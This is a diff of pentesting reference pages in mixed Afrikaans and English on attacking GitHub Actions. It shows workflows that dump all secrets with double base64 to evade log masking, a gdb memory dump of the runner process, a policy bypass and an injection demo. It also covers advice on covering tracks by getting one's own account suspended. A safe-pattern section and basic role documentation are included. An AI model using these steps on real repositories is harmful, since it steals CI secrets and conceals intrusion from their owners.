+> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
### Cache Poisoning
-'n Cache word tussen **workflow-uitvoerings in dieselfde tak** gehandhaaf. Dit beteken dat as 'n aanvaller **kompromitteer** 'n **pakket** wat dan in die cache gestoor word en **afgelaai** en uitgevoer word deur 'n **meer bevoorregte** workflow, hy ook daardie workflow sal kan **kompromitteer**.
+A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -418,7 +421,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
-Workflows kan **artifacts van ander workflows en selfs repos** gebruik, as 'n aanvaller daarin slaag om die Github Action wat 'n **artifact** oplaai wat later deur 'n ander workflow gebruik word, te **kompromitteer**, kan hy die **ander workflows** ook **kompromitteer**:
+Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -426,8 +429,33 @@ gh-actions-artifact-poisoning.md
---
-## Post Exploitation van 'n Aksie
+## Post Exploitation from an Action
+### Github Action Policies Bypass
+
+As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **die action sal uitgevoer word sonder enige beperking.**
+
+Example:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
### Toegang tot AWS en GCP via OIDC
Kyk na die volgende bladsye:
@@ -440,15 +468,15 @@ Kyk na die volgende bladsye:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
-### Toegang tot geheime
+### Toegang tot secrets
-As jy inhoud in 'n skrip inspuit, is dit interessant om te weet hoe jy toegang tot geheime kan kry:
+As jy inhoud in 'n skrip injekteer, is dit interessant om te weet hoe jy toegang tot secrets kan kry:
-- As die geheim of token op 'n **omgewing veranderlike** gestel is, kan dit direk deur die omgewing met **`printenv`** aangespreek word.
+- As die secret of token op 'n **environment variable** gestel is, kan dit direk deur die omgewing met **`printenv`** toeganklik wees.
-Lys geheime in Github Action-uitvoer
+Lys secrets in Github Action-uitset
```yaml
name: list_env
on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Kry omgekeerde skulp met geheime
+Kry reverse shell with secrets
```yaml
name: revshell
on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-- As die geheim **direk in 'n uitdrukking** gebruik word, word die gegenereerde shell-skrip **op-disk** gestoor en is dit toeganklik.
+- As die secret **direk in 'n uitdrukking** gebruik word, word die gegenereerde shell script **on-disk** gestoor en is dit toeganklik.
- ```bash
cat /home/runner/work/_temp/*
```
-- Vir 'n JavaScript aksies word die geheime deur omgewing veranderlikes gestuur.
+- Vir JavaScript actions word die secrets deur environment variables gestuur
- ```bash
ps axe | grep node
```
-- Vir 'n **aangepaste aksie** kan die risiko verskil, afhangende van hoe 'n program die geheim wat dit van die **argument** verkry het, gebruik:
+- Vir 'n **custom action** kan die risiko wissel, afhangend van hoe 'n program die secret gebruik wat dit uit die **argument** verkry het:
```yaml
uses: fakeaction/publish@v3
@@ -514,27 +542,51 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
-### Misbruik van Self-gehoste lopers
+- Enumereer alle secrets via die secrets context (collaborator level). 'n Contributor met write access kan 'n workflow op enige branch wysig om alle repository/org/environment secrets te dump. Gebruik double base64 om GitHub’s log masking te omseil en decodeer lokaal:
-Die manier om te vind watter **Github Actions in nie-github infrastruktuur** uitgevoer word, is om te soek na **`runs-on: self-hosted`** in die Github Action konfigurasie yaml.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
-**Self-gehoste** lopers mag toegang hê tot **ekstra sensitiewe inligting**, na ander **netwerkstelsels** (kwetsbare eindpunte in die netwerk? metadata diens?) of, selfs al is dit geïsoleer en vernietig, kan **meer as een aksie gelyktydig uitgevoer word** en die kwaadwillige een kan die **geheime** van die ander steel.
+Dekodeer lokaal:
-In self-gehoste lopers is dit ook moontlik om die **geheime van die \_Runner.Listener**\_\*\* proses\*\* te verkry wat al die geheime van die werksvloei op enige stap sal bevat deur sy geheue te dump:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Wenk: vir stealth tydens toetsing, enkripteer dit voordat jy dit uitdruk (openssl is preinstalled on GitHub-hosted runners).
+
+### Misbruik van Self-hosted runners
+
+Die manier om te vind watter **GitHub Actions are being executed in non-github infrastructure** is om te soek na **`runs-on: self-hosted`** in die GitHub Action configuration yaml.
+
+**Self-hosted** runners kan dalk toegang hê tot **extra sensitive information**, tot ander **network systems** (vulnerable endpoints in the network? metadata service?) of, selfs al is dit geïsoleer en vernietig, kan **more than one action might be run at the same time** en die kwaadwillige een kan **steal the secrets** van die ander een.
+
+In self-hosted runners is dit ook moontlik om die **secrets from the \_Runner.Listener**\_\*\* process\*\* te bekom, wat al die secrets van die workflows by enige stap sal bevat deur sy geheue te dump:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
-Kontrollere [**hierdie pos vir meer inligting**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Kyk na [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
-### Github Docker Beeld Registrasie
+### Github Docker Beelde Register
-Dit is moontlik om Github aksies te maak wat **'n Docker beeld binne Github sal bou en stoor**.\
-'n Voorbeeld kan gevind word in die volgende uitbreidbare:
+Dit is moontlik om Github actions te maak wat 'n Docker image binne Github sal **bou en stoor**.\
+'n Voorbeeld kan in die volgende inklapbare element gevind word:
-Github Aksie Bou & Stoot Docker Beeld
+Github Action Bou & Push Docker Image
```yaml
[...]
@@ -565,9 +617,9 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
-Soos jy in die vorige kode kon sien, is die Github registrasie gehos in **`ghcr.io`**.
+Soos jy in die vorige kode kon sien, word die Github registry gehuisves op **`ghcr.io`**.
-'n Gebruiker met leesregte oor die repo sal dan in staat wees om die Docker Image af te laai met 'n persoonlike toegangstoken:
+'n Gebruiker met lees-permissies op die repo sal dan in staat wees om die Docker Image af te laai met 'n personal access token:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
@@ -578,17 +630,21 @@ Then, the user could search for **leaked secrets in the Docker image layers:**
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
-### Sensitiewe inligting in Github Actions logs
+### Gevoelige inligting in Github Actions logs
-Selfs al probeer **Github** om **geheime waardes** in die aksies logs te **ontdek** en **te vermy** om hulle te wys, sal **ander sensitiewe data** wat in die uitvoering van die aksie gegenereer kon gewees het, nie versteek wees nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie versteek wees nie, tensy dit [spesifiek gekonfigureer is](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Selfs al probeer **Github** geheime waardes in die actions logs opspoor en verberg, sal ander sensitiewe data wat tydens die uitvoering van die action gegenereer is nie verborge wees nie. Byvoorbeeld 'n JWT wat met 'n geheime waarde geteken is, sal nie verberg word nie tensy dit [specifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is.
-## Bedek jou Spore
+## Om jou spore te verberg
-(Tegniek van [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens, enige PR wat ingedien word, is duidelik sigbaar vir die publiek in Github en vir die teiken GitHub-rekening. In GitHub kan ons **nie 'n PR van die internet verwyder nie** nie, maar daar is 'n draai. Vir GitHub-rekeninge wat deur Github **gesuspend** is, word al hul **PRs outomaties verwyder** en van die internet verwyder. So om jou aktiwiteit te verberg, moet jy of jou **GitHub-rekening gesuspend kry of jou rekening gemerk kry**. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou eksploit PR verwyder)
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens is enige PR wat geskep word duidelik sigbaar vir die publiek in Github en vir die geteikende GitHub-rekening. Op GitHub volgens verstek kan ons **nie 'n PR van die internet verwyder nie**, maar daar is 'n draai. Vir Github-rekeninge wat deur Github **geskors** word, word al hul **PRs outomaties verwyder** en van die internet verwyder. Dus, om jou aktiwiteit te verberg, moet jy óf jou **GitHub account suspended** kry óf jou rekening laat gemerk word. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou exploit PRs verwyder).
-'n Organisasie in GitHub is baie proaktief in die verslagdoening van rekeninge aan GitHub. Alles wat jy hoef te doen, is om “n paar goedere” in 'n Issue te deel en hulle sal seker maak jou rekening word binne 12 uur gesuspend :p en daar het jy, jou eksploit onsigbaar gemaak op github.
+'n Organisasie op GitHub is baie proaktief in die rapporteer van rekeninge aan GitHub. Alles wat jy hoef te doen is “some stuff” in 'n Issue te deel en hulle sal sorg dat jou rekening binne 12 uur geskors word :p en daar het jy dit — jou exploit onsigbaar op GitHub gemaak.
> [!WARNING]
-> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs van SIEM na te gaan, aangesien die PR van die GitHub UI verwyder sal word.
+> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs vanaf SIEM na te gaan, aangesien die PR vanaf die GitHub UI verwyder sal wees.
+
+## Verwysings
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 591109f16..8e86cfab3 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,3 +1,96 @@
# Gh Actions - Context Script Injections
{{#include ../../../banners/hacktricks-training.md}}
+
+## Verstaan die risiko
+
+GitHub Actions render expressions ${{ ... }} voordat die stap uitgevoer word. Die gerenderde waarde word in die stap se program geplak (vir run-stappe, 'n shell script). As jy onbetroubare invoer direk binne run: interpolleer, beheer die aanvaller 'n deel van die shell-program en kan willekeurige opdragte uitvoer.
+
+Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+
+Belangrike punte:
+- Rendering gebeur voordat uitvoering plaasvind. Die run script word gegenereer met al die uitdrukkings opgelos, en dan deur die shell uitgevoer.
+- Baie contexts bevat deur die gebruiker beheerde velde afhangend van die triggering event (issues, PRs, comments, discussions, forks, stars, etc.). Sien die untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- Shell quoting binne run: is nie 'n betroubare verdediging nie, omdat die injectie by die template rendering stadium plaasvind. Aanvallers kan uit aanhalingstekens breek of operatoren injekteer via vervaardigde invoer.
+
+## Kwetsbare patroon → RCE on runner
+
+Kwetsbare workflow (getrigger wanneer iemand 'n nuwe issue oopmaak):
+```yaml
+name: New Issue Created
+on:
+issues:
+types: [opened]
+jobs:
+deploy:
+runs-on: ubuntu-latest
+permissions:
+issues: write
+steps:
+- name: New issue
+run: |
+echo "New issue ${{ github.event.issue.title }} created"
+- name: Add "new" label to issue
+uses: actions-ecosystem/action-add-labels@v1
+with:
+github_token: ${{ secrets.GITHUB_TOKEN }}
+labels: new
+```
+As 'n aanvaller 'n issue met die titel $(id) open, word die gerenderde stap:
+```sh
+echo "New issue $(id) created"
+```
+Die command substitution voer id op die runner uit. Voorbeelduitset:
+```
+New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
+```
+Hoekom aanhaling jou nie red nie:
+- Uitdrukkings word eers gerender, en dan word die resulterende skrip uitgevoer. As die onbetroubare waarde $(...), `;`, `"`/`'`, of newlines bevat, kan dit die programstruktuur verander ten spyte van jou aanhalings.
+
+## Veilige patroon (shell variables via env)
+
+Korrekte teenmaatreël: kopieer onbetroubare input na 'n environment variable, en gebruik dan die inheemse shell-expansie ($VAR) in die run-skrip. Moet dit nie weer inbed met ${{ ... }} binne die command nie.
+```yaml
+# safe
+jobs:
+deploy:
+runs-on: ubuntu-latest
+steps:
+- name: New issue
+env:
+TITLE: ${{ github.event.issue.title }}
+run: |
+echo "New issue $TITLE created"
+```
+Notas:
+- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
+- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
+
+## Oppervlakke wat deur lesers geaktiveer kan word (behandel as onbetroubaar)
+
+Rekeninge met slegs leespermissie op openbare repositories kan steeds baie events trigger. Enige veld in contexts wat van hierdie events afgelei is, moet as attacker-controlled beskou word tensy anders bewys. Voorbeelde:
+- issues, issue_comment
+- discussion, discussion_comment (organisasies kan besprekings beperk)
+- pull_request, pull_request_review, pull_request_review_comment
+- pull_request_target (gevaarlik as dit misbruik word, runs in base repo context)
+- fork (enigeen kan openbare repositories fork)
+- watch (starring a repo)
+- Indirectly via workflow_run/workflow_call chains
+
+Watter spesifieke fields attacker-controlled is, is event-spesifiek. Raadpleeg GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
+
+## Praktiese wenke
+
+- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
+- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
+- Wees ekstra versigtig wanneer takname, PR titles, usernames, labels, discussion titles, en PR head refs in scripts, command-line flags, of file paths geïnterpoleer word.
+- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
+- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
+- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index c9abd72af..73743610d 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,153 +4,153 @@
## Basiese Struktuur
-Die basiese github omgewingstruktuur van 'n groot **maatskappy** is om 'n **onderneming** te besit wat **verskeie organisasies** besit en elkeen van hulle kan **verskeie repositories** en **verskeie span** bevat. Klein maatskappye mag net **een organisasie en geen ondernemings** besit.
+Die basiese github omgewingsstruktuur van 'n groot **company** is om 'n **enterprise** te besit wat **verskeie organizations** besit en elk van hulle mag **verskeie repositories** en **verskeie teams** bevat. Kleinêre maatskappye mag net **een organization besit en geen enterprises** hê nie.
-Vanuit 'n gebruiker se perspektief kan 'n **gebruiker** 'n **lid** van **verskillende ondernemings en organisasies** wees. Binne hulle kan die gebruiker **verskillende onderneming, organisasie en repository rolle** hê.
+ Vanuit 'n gebruiker se oogpunt kan 'n **user** 'n **member** van **verskillende enterprises en organizations** wees. Binne hulle kan die gebruiker **verskillende enterprise-, organization- en repository-rolle** hê.
-Boonop kan 'n gebruiker **deel wees van verskillende spanne** met verskillende onderneming, organisasie of repository rolle.
+Verder kan 'n gebruiker deel wees van **verskillende teams** met verskillende enterprise-, organization- of repository-rolle.
En uiteindelik kan **repositories spesiale beskermingsmeganismes** hê.
## Privileges
-### Onderneming Rolle
+### Enterprise Roles
-- **Ondernemingseienaar**: Mense met hierdie rol kan **administrateurs bestuur, organisasies binne die onderneming bestuur, onderneminginstellings bestuur, beleid afdwing oor organisasies**. Hulle **kan egter nie toegang tot organisasie-instellings of inhoud** verkry tensy hulle 'n organisasie-eienaar gemaak word of direkte toegang tot 'n organisasie-besit repository gegee word.
-- **Ondernemingslede**: Lede van organisasies wat deur jou onderneming besit word, is ook **outomaties lede van die onderneming**.
+- **Enterprise owner**: Mense met hierdie rol kan **administrateurs bestuur, organizations binne die enterprise bestuur, enterprise-instellings bestuur, beleid afdwing oor organizations**. Hulle **kan egter nie toegang hê tot organization-instellings of inhoud** tensy hulle 'n organization owner gemaak word of direkte toegang tot 'n organisation-besit repository gegee word.
+- **Enterprise members**: Lede van organizations wat deur jou enterprise besit word, is ook **outomaties lede van die enterprise**.
-### Organisasie Rolle
+### Organization Roles
-In 'n organisasie kan gebruikers verskillende rolle hê:
+In 'n organization kan gebruikers verskillende rolle hê:
-- **Organisasie-eienaars**: Organisasie-eienaars het **volledige administratiewe toegang tot jou organisasie**. Hierdie rol moet beperk word, maar nie tot minder as twee mense in jou organisasie nie.
-- **Organisasie lede**: Die **standaard**, nie-administratiewe rol vir **mense in 'n organisasie** is die organisasielid. Standaard het organisasielede **'n aantal toestemmings**.
-- **Faktuurbestuurders**: Faktuurbestuurders is gebruikers wat **die faktuurinstellings vir jou organisasie kan bestuur**, soos betalingsinligting.
-- **Sekuriteitsbestuurders**: Dit is 'n rol wat organisasie-eienaars aan enige span in 'n organisasie kan toewys. Wanneer toegepas, gee dit elke lid van die span toestemming om **sekuriteitswaarskuwings en instellings oor jou organisasie te bestuur, sowel as leestoestemmings vir alle repositories** in die organisasie.
-- As jou organisasie 'n sekuriteitspan het, kan jy die sekuriteitsbestuurderrol gebruik om lede van die span die minste toegang te gee wat hulle nodig het tot die organisasie.
-- **Github App bestuurders**: Om addisionele gebruikers toe te laat om **GitHub Apps wat deur 'n organisasie besit word te bestuur**, kan 'n eienaar hulle GitHub App bestuurder toestemmings gee.
-- **Buitelandse samewerkers**: 'n Buitelandse samewerker is 'n persoon wat **toegang het tot een of meer organisasie repositories maar nie eksplisiet 'n lid** van die organisasie is.
+- **Organization owners**: Organization owners het **volledige administratiewe toegang tot jou organization**. Hierdie rol moet beperk wees, maar tot nie minder as twee persone in jou organization nie.
+- **Organization members**: Die **standaard**, nie-administratiewe rol vir **mense in 'n organization** is die organization member. By verstek het organization members **'n aantal permissies**.
+- **Billing managers**: Billing managers is gebruikers wat die **betaalinstellings vir jou organization kan bestuur**, soos betalingsinligting.
+- **Security Managers**: Dit is 'n rol wat organization owners aan enige team in 'n organization kan toeken. Wanneer toegepas, gee dit elke lid van die team permissies om **security alerts en instellings oor jou organization te bestuur, sowel as read permissions vir alle repositories** in die organization.
+- As jou organization 'n security team het, kan jy die security manager-rol gebruik om lede van die team die minste toegang te gee wat hulle nodig het tot die organization.
+- **Github App managers**: Om ekstra gebruikers toe te laat om **GitHub Apps besit deur 'n organization te bestuur**, kan 'n owner hulle GitHub App manager permissies gee.
+- **Outside collaborators**: 'n Outside collaborator is 'n persoon wat **toegang het tot een of meer organization repositories maar nie eksplisiet 'n member** van die organization is nie.
-Jy kan **die toestemmings** van hierdie rolle in hierdie tabel vergelyk: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Jy kan **die permissies vergelyk** van hierdie rolle in hierdie tabel: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
-### Lede Privileges
+### Members Privileges
-In _https://github.com/organizations/\/settings/member_privileges_ kan jy die **toestemmings wat gebruikers sal hê net omdat hulle deel van die organisasie is** sien.
+In _https://github.com/organizations/\/settings/member_privileges_ kan jy die **permissies sien wat gebruikers sal hê net omdat hulle deel is van die organization**.
-Die instellings hier geconfigureer sal die volgende toestemmings van lede van die organisasie aandui:
+Die instellings wat hier gekonfigureer word, dui die volgende permissies van lede van die organization aan:
-- Wees admin, skrywer, leser of geen toestemming oor al die organisasie repos.
-- Of lede privaat, interne of openbare repositories kan skep.
-- Of fork van repositories moontlik is.
-- Of dit moontlik is om buitelandse samewerkers uit te nooi.
-- Of openbare of private webwerwe gepubliseer kan word.
-- Die toestemmings wat administrateurs oor die repositories het.
-- Of lede nuwe spanne kan skep.
+- Wees admin, writer, reader of geen toestemming oor al die organization repos nie.
+- Of lede private, internal of public repositories kan skep.
+- Of forking van repositories moontlik is
+- Of dit moontlik is om outside collaborators uit te nooi
+- Of public of private sites gepubliseer kan word
+- Die permissies wat admins oor die repositories het
+- Of lede nuwe teams kan skep
-### Repository Rolle
+### Repository Roles
Standaard word repository rolle geskep:
-- **Lees**: Aanbeveel vir **nie-kode bydraers** wat jou projek wil besigtig of bespreek.
-- **Triage**: Aanbeveel vir **bydraers wat proaktief probleme en pull requests moet bestuur** sonder skryftoegang.
-- **Skryf**: Aanbeveel vir bydraers wat **aktief na jou projek stoot**.
-- **Onderhou**: Aanbeveel vir **projekbestuurders wat die repository moet bestuur** sonder toegang tot sensitiewe of vernietigende aksies.
-- **Admin**: Aanbeveel vir mense wat **volledige toegang tot die projek** benodig, insluitend sensitiewe en vernietigende aksies soos om sekuriteit te bestuur of 'n repository te verwyder.
+- **Read**: Aanbeveel vir **non-code contributors** wat jou projek wil sien of bespreek
+- **Triage**: Aanbeveel vir **contributors wat proaktief issues en pull requests moet bestuur** sonder write-toegang
+- **Write**: Aanbeveel vir contributors wat **aktiwiteit na jou projek push**
+- **Maintain**: Aanbeveel vir **projekbestuurders wat die repository moet bestuur** sonder toegang tot sensitiewe of destruktiewe aksies
+- **Admin**: Aanbeveel vir mense wat **volle toegang tot die projek nodig het**, insluitend sensitiewe en destruktiewe aksies soos security bestuur of 'n repository uitvee
-Jy kan **die toestemmings** van elke rol in hierdie tabel vergelyk [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Jy kan **die permissies vergelyk** van elke rol in hierdie tabel [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Jy kan ook **jou eie rolle skep** in _https://github.com/organizations/\/settings/roles_
-### Spanne
+### Teams
-Jy kan **die spanne wat in 'n organisasie geskep is lys** in _https://github.com/orgs/\/teams_. Let daarop dat jy om die spanne wat kinders van ander spanne is te sien, elke ouer span moet toegang.
+Jy kan **die teams wat in 'n organization geskep is lys** in _https://github.com/orgs/\/teams_. Neem kennis dat om die teams te sien wat kinders van ander teams is, moet jy elke ouerteam besoek.
-### Gebruikers
+### Users
-Die gebruikers van 'n organisasie kan **gelys** word in _https://github.com/orgs/\/people._
+Die gebruikers van 'n organization kan **gelys** word in _https://github.com/orgs/\/people._
-In die inligting van elke gebruiker kan jy die **spanne waarvan die gebruiker 'n lid is**, en die **repos waartoe die gebruiker toegang het** sien.
+In die inligting van elke gebruiker kan jy die **teams sien waarvan die gebruiker 'n lid is**, en die **repos waartoe die gebruiker toegang het**.
-## Github Verifikasie
+## Github Authentication
-Github bied verskillende maniere om jou rekening te verifieer en aksies namens jou uit te voer.
+Github bied verskillende maniere om by jou rekening te autentiseer en aksies namens jou uit te voer.
-### Webtoegang
+### Web Access
-Deur **github.com** te benader kan jy aanmeld met jou **gebruikersnaam en wagwoord** (en 'n **2FA moontlik**).
+Deur **github.com** te besoek kan jy aanmeld met jou **username en password** (en 'n **2FA moontlik**).
-### **SSH Sleutels**
+### **SSH Keys**
-Jy kan jou rekening met een of verskeie publieke sleutels konfigureer wat die verwante **private sleutel toelaat om aksies namens jou uit te voer.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Jy kan jou rekening instel met een of meer public keys wat die verwante **private key toelaat om aksies namens jou uit te voer.** [https://github.com/settings/keys](https://github.com/settings/keys)
-#### **GPG Sleutels**
+#### **GPG Keys**
-Jy **kan nie die gebruiker met hierdie sleutels naboots nie**, maar as jy dit nie gebruik nie, kan dit moontlik wees dat jy **ontdek word vir die stuur van verbintenisse sonder 'n handtekening**. Leer meer oor [waaksaamheidsmodus hier](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Jy **kan nie die gebruiker daarmee impersonate nie** maar as jy dit nie gebruik nie kan dit moontlik wees dat jy **ontdek word vir die stuur van commits sonder 'n signature'**. Lees meer oor [vigilant mode hier](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
-### **Persoonlike Toegangstokens**
+### **Personal Access Tokens**
-Jy kan 'n persoonlike toegangstoken genereer om **'n toepassing toegang tot jou rekening te gee**. Wanneer 'n persoonlike toegangstoken geskep word, moet die **gebruiker** die **toestemmings** spesifiseer wat die **token** sal hê. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Jy kan personal access token genereer om **'n toepassing toegang tot jou rekening te gee**. Wanneer jy 'n personal access token skep, moet die **user** die **permissies** wat die **token** sal hê **spesifiseer**. [https://github.com/settings/tokens](https://github.com/settings/tokens)
-### Oauth Toepassings
+### Oauth Applications
-Oauth toepassings mag jou om toestemmings **te vra om 'n deel van jou github inligting te bekom of om jou na te boots** om sekere aksies uit te voer. 'n Algemene voorbeeld van hierdie funksionaliteit is die **aanmeld met github knoppie** wat jy dalk in sommige platforms vind.
+Oauth applications mag jou vra vir permissies **om 'n gedeelte van jou github-inligting te benader of om jou te impersonate** om sekere aksies uit te voer. 'n Algemene voorbeeld van hierdie funksionaliteit is die **login with github button** wat jy op sekere platforms mag vind.
-- Jy kan **jou eie** **Oauth toepassings** in [https://github.com/settings/developers](https://github.com/settings/developers) skep.
-- Jy kan al die **Oauth toepassings wat toegang tot jou rekening het** in [https://github.com/settings/applications](https://github.com/settings/applications) sien.
-- Jy kan die **skoppe wat Oauth Apps kan vra** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) sien.
-- Jy kan derdeparty toegang van toepassings in 'n **organisasie** in _https://github.com/organizations/\/settings/oauth_application_policy_ sien.
+- Jy kan **jou eie Oauth applications skep** in [https://github.com/settings/developers](https://github.com/settings/developers)
+- Jy kan al die **Oauth applications wat toegang tot jou rekening het** sien in [https://github.com/settings/applications](https://github.com/settings/applications)
+- Jy kan die **scopes wat Oauth Apps kan vra** sien in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Jy kan derdeparty-toegang van toepassings in 'n **organization** sien in _https://github.com/organizations/\/settings/oauth_application_policy_
Sommige **sekuriteitsaanbevelings**:
-- 'n **OAuth App** moet altyd **optree as die geverifieerde GitHub gebruiker oor die hele GitHub** (byvoorbeeld, wanneer gebruikerskennisgewings verskaf word) en met toegang slegs tot die gespesifiseerde skoppe.
-- 'n OAuth App kan as 'n identiteitsverskaffer gebruik word deur 'n "Aanmeld met GitHub" vir die geverifieerde gebruiker in te skakel.
-- **Moet nie** 'n **OAuth App** bou as jy wil hê jou toepassing moet op 'n **enkele repository** optree nie. Met die `repo` OAuth skop, kan OAuth Apps **optree op \_alle**\_\*\* van die geverifieerde gebruiker se repositories\*\*.
-- **Moet nie** 'n OAuth App bou om as 'n toepassing vir jou **span of maatskappy** op te tree nie. OAuth Apps verifieer as 'n **enkele gebruiker**, so as een persoon 'n OAuth App vir 'n maatskappy skep om te gebruik, en dan die maatskappy verlaat, sal niemand anders toegang hê nie.
-- **Meer** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- 'n **OAuth App** behoort altyd **op te tree as die geverifieerde GitHub user oor die hele GitHub** (byvoorbeeld, wanneer dit gebruikerskennisgewings voorsien) en slegs toegang tot die gespesifiseerde scopes te hê.
+- 'n OAuth App kan as 'n identiteitsverskaffer gebruik word deur 'n "Login with GitHub" vir die geverifieerde gebruiker aan te skakel.
+- **Moet nie** 'n **OAuth App** bou as jy wil hê jou toepassing moet op 'n **enkele repository** optree nie. Met die `repo` OAuth scope kan OAuth Apps **optree op _all_** van die geverifieerde gebruiker se repositories.
+- **Moet nie** 'n OAuth App bou om as 'n toepassing vir jou **team of maatskappy** op te tree nie. OAuth Apps autentiseer as 'n **enkele gebruiker**, so as een persoon 'n OAuth App vir 'n maatskappy skep en dan die maatskappy verlaat, sal niemand anders toegang hê nie.
